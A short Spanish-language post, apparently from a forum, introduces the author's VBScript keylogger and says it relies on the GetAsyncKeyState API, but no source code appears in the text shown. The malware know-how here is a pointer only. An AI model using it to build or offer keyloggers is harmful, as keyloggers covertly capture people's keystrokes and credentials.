Hola aquí les muestro el código fuente del keylogger en vbscript, una cosa este código esta limitado ya que no acepta números y entre muchos mas caracteres.
Esta idea me surgió ya que navegando por un foro chino o japones, observe un código en vbs que usaba la api "GetAsyncKeyState" que es la encargada de identificar las teclas presionadas del teclado y guala se me bino ala mente crear este keylogger.
otra cosa observe que no es la única api que utilizan desde vbscript hay otras mas
